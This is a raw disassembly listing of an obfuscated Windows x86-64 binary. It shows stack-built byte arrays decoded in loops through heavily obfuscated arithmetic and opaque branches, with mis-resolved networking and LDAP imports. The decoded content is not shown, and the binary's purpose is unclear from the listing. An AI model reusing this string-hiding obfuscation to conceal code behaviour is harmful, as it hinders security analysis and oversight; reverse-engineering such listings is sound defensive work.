cmp qword [rbp + 0xfd8], 0
je 0x14010c138
mov byte [rbp + 0xc60], __WSAFDIsSet
mov byte [rbp + 0xc61], 0xe1
mov byte [rbp + 0xc62], 0xf2
mov byte [rbp + 0xc63], 0xf6
mov byte [rbp + 0xc64], 0xe6
mov byte [rbp + 0xc65], 0x88
mov byte [rbp + 0xc66], 0x46
mov byte [rbp + 0xc67], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xc68], 0xea
mov byte [rbp + 0xc69], 0xf6
mov byte [rbp + 0xc6a], 0xee
mov byte [rbp + 0xc6b], 0xfe
mov byte [rbp + 0xc6c], 0xff
mov byte [rbp + 0xc6d], 0xed
mov byte [rbp + 0xc6e], 0x87
mov byte [rbp + 0xc6f], Ordinal_143
mov byte [rbp + 0xc70], Ordinal_143
mov byte [rbp + 0xc71], 0x3d
mov byte [rbp + 0xc72], 0xfd
mov byte [rbp + 0xc73], Ordinal_60
mov byte [rbp + 0xc74], 0xe8
mov byte [rbp + 0xc75], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xc76], Ordinal_143
mov byte [rbp + 0xc77], 0x9d
mov byte [rbp + 0xc78], Ordinal_143
mov byte [rbp + 0xc79], 0x86
mov byte [rbp + 0xc7a], 0x9f
mov byte [rbp + 0xc7b], 0x9c
mov byte [rbp + 0xc7c], Ordinal_50
mov byte [rbp + 0xc7d], 0xe8
mov byte [rbp + 0xc7e], 0x9c
mov byte [rbp + 0xc7f], 0x83
mov byte [rbp + 0xc80], __WSAFDIsSet
mov byte [rbp + 0xc81], __WSAFDIsSet
mov byte [rbp + 0xc82], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xc83], 0x85
mov byte [rbp + 0xc84], 0x84
mov byte [rbp + 0xc85], 0x80
mov byte [rbp + 0xc86], Ordinal_41
mov byte [rbp + 0xc87], 0xed
mov byte [rbp + 0xc88], 0x9d
mov byte [rbp + 0xc89], __WSAFDIsSet
mov byte [rbp + 0xc8a], __WSAFDIsSet
mov byte [rbp + 0xc8b], 0xe2
mov byte [rbp + 0xc8c], Ordinal_143
mov byte [rbp + 0xc8d], 0x98
mov byte [rbp + 0xc8e], 0xad
mov byte [rbp + 0xc8f], 0xad
mov byte [rbp + 0xc90], Ordinal_32
mov byte [rbp + 0xc91], 0xc1
mov byte [rbp + 0xc92], 0xa7
mov byte [rbp + 0xc93], 0xb7
mov byte [rbp + 0xc94], 0xa5
mov byte [rbp + 0xc95], 0xa6
mov byte [rbp + 0xc96], 0xba
mov byte [rbp + 0xc97], 0xaa
mov byte [rbp + 0xc98], 0xa8
mov byte [rbp + 0xc99], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xc9a], Ordinal_217
mov byte [rbp + 0xc9b], reloc.WS2_32.dll_send
mov byte [rbp + 0xc9c], 0xe5
mov byte [rbp + 0xc9d], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xc9e], 0xc9
mov byte [rbp + 0xc9f], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0xca0], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0xca1], 0xb0
mov byte [rbp + 0xca2], 0xa5
mov byte [rbp + 0xca3], 0xa4
mov byte [rbp + 0xca4], 0xc9
mov byte [rbp + 0xca5], 0xb2
mov byte [rbp + 0xca6], 0xbb
mov byte [rbp + 0xca7], 7
mov byte [rbp + 0xca8], 0xf6
mov byte [rbp + 0xca9], 0xaa
mov byte [rbp + 0xcaa], 0xa9
mov byte [rbp + 0xcab], Ordinal_200
mov byte [rbp + 0xcac], 0xbe
mov byte [rbp + 0xcad], 0xaf
mov byte [rbp + 0xcae], 0x3f
mov byte [rbp + 0xcaf], reloc.WS2_32.dll_listen
mov byte [rbp + 0xcb0], 0xfc
mov byte [rbp + 0xcb1], Ordinal_50
mov byte [rbp + 0xcb2], Ordinal_79
mov byte [rbp + 0xcb3], 0xfb
mov byte [rbp + 0xcb4], Ordinal_46
mov byte [rbp + 0xcb5], 0x54
mov byte [rbp + 0xcb6], 0x58
mov byte [rbp + 0xcb7], 0x48
mov byte [rbp + 0xcb8], Ordinal_79
mov byte [rbp + 0xcb9], gethostname
mov byte [rbp + 0xcba], 0x5d
mov byte [rbp + 0xcbb], Ordinal_79
mov byte [rbp + 0xcbc], 0xf0
mov byte [rbp + 0xcbd], gethostname
mov byte [rbp + 0xcbe], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xcbf], xmm0
mov byte [rbp + 0xccf], al
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x70
jae 0x14010aba3
movzx r8d, byte [rbp + r9 + 0xc60]
mov r11, r8
cmp rdi, r9
ja 0x14010ab9a
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010a073
movabs rcx, 0x32bb86de180626b2
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
add bl, 0x22
jmp 0x14010a0ad
je 0x14010ab11
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010aa85
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010aa52
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010aa2d
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14010a9e7
cmp r10, r9
ja 0x14010ab91
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x14010a0de
movabs rcx, 0x29621037f8812c9a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x36
jmp 0x14010a11f
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010a9c4
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010a9a2
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010a979
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010a953
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14010a931
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14010a6c6
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010a6a4
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010a682
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14010a65c
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14010a63b
lea rax, [r10 + 0x80]
cmp rdi, rax
je 0x14010a619
lea rax, [r10 + 0x42]
cmp rdi, rax
je 0x14010a5f7
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14010a5d6
lea rax, [r10 + 0x400]
cmp rdi, rax
je 0x14010a5b0
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14010a58e
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14010a12c
lea rdi, [r10 + 0x41]
lea r10, [rdi + 0x7a]
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14010ab6b
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x14010ab49
lea rax, [r10 + 1]
cmp rdi, rax
jb 0x14010a32d
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14010a307
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14010a2e1
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14010a52e
lea rax, [r10 + 0x20]
cmp rdi, rax
jb 0x14010a4d8
lea rax, [r10 + 0xa]
cmp rdi, rax
jb 0x14010a489
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14010a45f
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x14010a12c
lea rdi, [r10 + 0x40]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14010a439
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x14010a425
lea rax, [r10 + 0x80]
cmp rdi, rax
ja 0x14010a403
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14010a3e1
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14010a3cd
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14010a3ab
lea rax, [r10 + 1]
cmp rdi, rax
ja 0x14010a389
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14010a363
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14010a34f
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14010a12c
lea rdi, [r10 + 3]
lea r10, [rdi + 2]
jmp 0x14010a12c
movabs rdx, 0x8bd23a970b5702a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010a11f
movabs rdx, 0x265b2cdadb4ab542
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010a0ad
movabs rcx, 0xc0e41f1eab3e67de
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x12
jmp 0x14010a03c
movabs rdx, 0x4b1081bfc40964d0
mov ecx, Ordinal_41
jmp 0x14010a9d3
movabs rdx, 0xe599740393fd176c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010aa28
movabs rcx, 0x8022664763f0ca08
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x14010aa4a
movabs rcx, 0x1aab588b33e47ca4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x14010a8d6
movabs rdx, 0xb5344acf03d82f40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14010a988
movabs rcx, 0x4fbd3d12d3cbe1dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x14010aa73
movabs rcx, 0xea462f56a3bf9478
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x48
jmp 0x14010aaa6
movabs rdx, 0x84cf219a73b34714
mov ecx, Ordinal_60
jmp 0x14010a5bf
movabs rdx, 0x1f5813de43a6f9b0
mov ecx, Ordinal_27
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010ab32
movabs rcx, 0x21ae7187cb883836
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
mov byte [rbp + r9 + 0xc60], bl
jmp 0x14010ab41
movabs rdx, 0xbc3763cb9b7bead2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp r10, 5
jb 0x14010a47c
movabs rcx, 0x36b7bc7d92736aec
add rcx, r9
mov al, cl
and al, r8b
mov edx, 6
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea ebx, [rdx + rdx]
jmp 0x14010aa04
movabs rcx, 0x56c0560f6b6f9d6e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
cmp rdi, 6
jae 0x14010a8b0
lea rax, [r10 + 0x42]
cmp rdi, rax
jbe 0x14010a81c
movabs rcx, 0x40113323b1f86504
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1c
jmp 0x14010a4aa
movabs rcx, 0xf14948533b63500a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
lea rax, [r10 + rdi]
cmp rax, 0x80
je 0x14010a903
lea rax, [r10 + 0x64]
cmp rdi, rax
jbe 0x14010a77a
movabs rdx, 0x16af22ebb977386a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010a4f5
movabs rcx, 0xf84c614fd3070b9c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x44
jmp 0x14010ab32
movabs rdx, 0x92d55393a2fabe38
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010aada
movabs rdx, 0x2d5e45d772ee70d4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010a927
movabs rcx, 0xc7e7381b42e22370
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x14010aa73
movabs rcx, 0x62702a5f12d5d60c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x54
jmp 0x14010a99a
movabs rdx, 0xfcf91ca2e2c988a8
mov ecx, 0x34
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010a8d1
movabs rdx, 0x97820ee6b2bd3b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010aa4a
movabs rcx, 0x320b012a82b0ede0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x14010aa28
movabs rcx, 0xcc93f36e52a4a07c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x64
jmp 0x14010aa04
lea rax, [r10 + 0x5a]
cmp rdi, rax
jae 0x14010a6f5
movabs rdx, 0x32bb86de180626b2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010a54b
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010a720
movabs rcx, 0x52c4206ff1025934
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x14010ab32
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010a74b
movabs rcx, 0xb83b2e2c210ea698
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x14010aada
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010a54b
movabs rcx, 0xe8a05760b1338ec4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5c
jmp 0x14010a99a
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010a797
movabs rdx, 0x7c2630a7e98385ce
mov ecx, Ordinal_50
jmp 0x14010a9d3
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010a7c2
movabs rcx, 0x47144c20499c2096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x14010aa4a
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14010a7ed
movabs rcx, 0x77797554d9c108c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x14010aa73
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14010a4f5
movabs rcx, 0xdcf0831109cd5626
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xa
jmp 0x14010aaa6
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010a839
movabs rdx, 0xa58840dfe204b268
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14010a448
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14010a864
movabs rcx, 0x70765c58421d4d30
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x14010aaa6
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14010a881
movabs rdx, 0xa0db858cd242355c
mov ecx, 0x3e
jmp 0x14010a64a
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14010a4aa
movabs rcx, 0x6529349024e82c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x40
jmp 0x14010aa4a
movabs rdx, 0x9c2eca39c27fb850
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0xc60]
sub bl, al
sub bl, 0x30
add bl, dl
add bl, r8b
movabs rdx, 0xceea5117da85df02
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
sub cl, 0xe
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0xc60], cl
jmp 0x14010a99a
movabs rdx, 0x1a5d7f5f28c05b4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0xa
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0xc60]
add bl, dl
add bl, r8b
jmp 0x14010aaa6
movabs rcx, 0xefa3705d48d74a56
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5a
jmp 0x14010aaa6
movabs rdx, 0x8a2c62a118cafcf2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010aa73
movabs rdx, 0x24b554e4e8beaf8e
mov ecx, reloc.WS2_32.dll_ntohs
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
add rdi, r10
jmp 0x14010aa73
movabs rcx, 0x59c7396c88a614c6
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6a
jmp 0x14010aa4a
movabs rdx, 0x8ed91df4288d79fe
mov ecx, 7
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010aa04
movabs rcx, 0xc3eb027bc874df36
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
movabs rcx, 0x6973435baa79919e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x52
add cl, r8b
mov byte [rbp + r9 + 0xc60], cl
add r10, r14
jmp 0x14010aa4a
movabs rcx, 0xf8fce703685c446e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
sub r9, r14
jmp 0x14010ab41
movabs rdx, 0xc897bdced8375c42
add rdx, r9
mov al, dl
and al, r11b
mov ecx, Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, r11b
add bl, dl
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010ab41
mov r8, r11
movabs rcx, 0x6320b012a82b0ede
add rcx, r9
and r11b, cl
add r11b, r11b
mov bl, r8b
sub bl, r11b
sub bl, 0x12
add bl, cl
movabs rdx, 0x34615ed40a922c66
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0xc60], al
add r10, r14
add rax, r10
sub r9, rax
movabs rdx, 0x671ce5b222985318
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0xc60], cl
add rdi, r14
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14010ab32
movabs rdx, 0x9832949a48127416
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0xc60]
add rax, r10
add r9, rax
add r9, r14
jmp 0x14010a029
movabs rcx, 0x5b6d11627b321a7a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x56
jmp 0x14010a026
movabs rdx, 0xf5f603a64b25cd16
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14010a016
lea rdx, [rbp + 0x1620bf8]
jmp 0x14010abaa
lea rdx, [rbp + 0x16832aa]
jmp 0x14010abaa
lea rdx, [rbp + 0xc60]
lea rcx, [rbp + 0xf50]
call fcn.1400889c0
lea rcx, [rbp + 0xf50]
call fcn.1401aa82c
mov byte [rbp + 0x140], __WSAFDIsSet
mov byte [rbp + 0x141], 0x41
mov byte [rbp + 0x142], WSACleanup
mov byte [rbp + 0x143], 0x76
mov byte [rbp + 0x144], 0x46
mov byte [rbp + 0x145], 0x68
mov byte [rbp + 0x146], 0xb4
mov byte [rbp + 0x147], Ordinal_79
mov byte [rbp + 0x148], Ordinal_79
mov byte [rbp + 0x149], Ordinal_79
mov byte [rbp + 0x14a], Ordinal_200
xor eax, eax
mov dword [rbp + 0x14b], eax
mov word [rbp + 0x14f], ax
mov bl, byte [rsp + 0x50]
call fcn.1401ac500
mov rdi, qword [rax]
call fcn.1401ac508
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x11
jae 0x14010b667
movzx r8d, byte [rbp + r9 + 0x140]
mov r11, r8
cmp rdi, r9
ja 0x14010b65e
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14010ac80
movabs rsi, 0xf4683f0d7d443fe2
lea rcx, [r9 + rsi]
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x2e
jmp 0x14010acb7
je 0x14010b5d1
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010b54b
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14010b522
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14010b4d8
movabs rsi, 0xf4683f0d7d443fe2
cmp r10, r9
ja 0x14010b655
lea rax, [r10 + 0x200]
cmp rdi, rax
jae 0x14010ace0
movabs rdx, 0xc8d2c1b46993d8a
mov ecx, Ordinal_32
jmp 0x14010ae69
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010b4b8
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010b498
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14010b462
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14010b441
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14010b41e
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14010b093
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14010b06f
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14010b04c
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x14010b029
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14010b008
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14010afe5
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14010afd1
lea rdi, [r10 + 0x28]
lea r10, [rdi + 0x200]
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14010b62f
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14010b609
lea rax, [r10 + 9]
cmp rdi, rax
jb 0x14010aea6
lea rax, [r10 + 0x3e8]
cmp rdi, rax
jb 0x14010ae80
lea rax, [r10 + 3]
cmp rdi, rax
jb 0x14010ae5a
lea rax, [r10 + 0x40]
cmp rdi, rax
jb 0x14010afb0
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14010af9c
lea rdi, [r10 + 9]
lea r10, [rdi + 0x40]
lea rax, [r10 + 0x3e8]
cmp rdi, rax
ja 0x14010af79
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14010af65
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14010af44
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14010af21
lea rax, [r10 + 0x5a]
cmp rdi, rax
ja 0x14010af0d
lea rax, [r10 + 0xa]
cmp rdi, rax
ja 0x14010aeec
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14010aec9
lea rdi, [r10 + 4]
lea r10, [rdi + 0xa]
jmp 0x14010ad2e
movabs rdx, 0xb49a3c53040eafb6
mov ecx, 3
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010ad21
movabs rdx, 0xcbc9be3809862ff2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010acb7
movabs rdx, 0xe2f9401d0efdb02e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x42
add bl, dl
jmp 0x14010ac48
movabs rcx, 0x92c864a43fb8ecc8
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x78
jmp 0x14010b543
movabs rdx, 0xa9f7e68945306d04
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1c
jmp 0x14010b3c4
movabs rdx, 0xc127686e4aa7ed40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14010b471
movabs rcx, 0xd856ea53501f6d7c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x64
jmp 0x14010b486
movabs rdx, 0xef866c385596edb8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 8
jmp 0x14010b56a
movabs rdx, 0x6b5ee1d5b0e6df4
mov ecx, Ordinal_46
jmp 0x14010b1a7
movabs rcx, 0x1de570026085ee30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x14010b5f2
movabs rdx, 0x863b3888f91faf3e
mov ecx, Ordinal_41
jmp 0x14010b0e1
movabs rdx, 0x9d6aba6dfe972f7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x14010b0b3
movabs rdx, 0x90dd8e52b7fdf1f0
mov ecx, Ordinal_60
jmp 0x14010b1d6
movabs rcx, 0xa80d1037bd75722c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14010b483
movabs rdx, 0xbf3c921cc2ecf268
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14010b3c1
movabs rcx, 0xd66c1401c86472a4
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7c
jmp 0x14010b543
movabs rcx, 0xed9b95e6cddbf2e0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x20
jmp 0x14010b51d
movabs rdx, 0x4cb17cbd353731c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14010b4d4
lea rax, [r10 + 9]
cmp rdi, rax
jae 0x14010b160
lea rdx, [r9 + rsi]
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2e
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x400
je 0x14010b3f5
lea rax, [r10 + 0x5a]
cmp rdi, rax
jbe 0x14010b23b
movabs rdx, 0x3cd70636d94338da
mov ecx, 5
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 0x64
jae 0x14010b39d
lea rax, [r10 + 0x1000]
cmp rdi, rax
jbe 0x14010b2eb
movabs rdx, 0x496432521fdc7664
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp r10, 0x20
jb 0x14010b390
movabs rdx, 0x61891f5fe931740c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14010b4f5
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14010b18f
movabs rdx, 0x191a58368d327b14
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010b5f2
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14010b1be
movabs rdx, 0x1ead65187bafad8
mov ecx, recv
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14010b59c
lea rax, [r10 + 3]
